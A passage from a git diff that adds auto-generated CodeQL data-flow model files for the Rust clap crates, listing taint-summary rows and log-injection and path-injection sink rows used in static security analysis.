["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::placeholder]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::placeholder]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::valid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::valid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::and_suggest", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::builder::value_parser::_AnonymousValueParser(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::apply", "Argument[self].Field[crate::error::Error::inner]", "ReturnValue.Field[crate::error::Error::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::extend_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_message", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_by_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::fmt::Colorizer::color_when]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "Argument[self].Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[2]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[3]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::use_long]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[2]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[3]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::use_long]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::textwrap::wrap_algorithms::LineWrapper::hard_width]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::wrap", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "Argument[self].Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::deref", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::pending_arg_id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::parser::matches::arg_matches::IdsRef::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Indices::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Indices::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::RawValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::RawValues::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Values::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Values::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::ValuesRef::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::ValuesRef::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_type_id", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_type_id", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::type_id].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_vals", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::vals]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[0]", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::source].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::source", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::source]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::type_id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::parser::Parser::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::validator::Validator::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::util::any_value::AnyValue::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self].Field[crate::util::flat_map::FlatMap::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_mut", "Argument[self].Field[crate::util::flat_map::FlatMap::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::util::flat_map::Iter::keys].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::util::flat_map::Iter::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_internal_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_internal_str", "Argument[self].Field[crate::util::id::Id(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::_panic_on_missing_help", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::contains_id", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_count", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_flag", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_one", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml new file mode 100644 index 000000000000..b9a0f77c4ede --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml @@ -0,0 +1,78 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCandidates>::candidates", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCompleter>::complete", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCompleter>::complete", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::add_prefix", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::display_order]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::display_order]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_display_order", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::display_order]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_help", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_id", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::id].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_tag", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::tag].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_value", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::help]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::help]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::hidden]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::hidden]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::id]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::id]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::is_hide_set", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::hidden]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::current_dir", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::filter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::stdio", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::bin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::completer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[0]", "Argument[self].Field[crate::env::CompleteEnv::shells]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::shells]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[0]", "Argument[self].Field[crate::env::CompleteEnv::var]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::var]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::with_factory", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::factory]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::aot::generator::utils::find_subcommand_with_path", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[3]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[3]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml new file mode 100644 index 000000000000..0317e38cc51c --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml @@ -0,0 +1,13 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "::file_name", "Argument[0]", "ReturnValue", "taint", 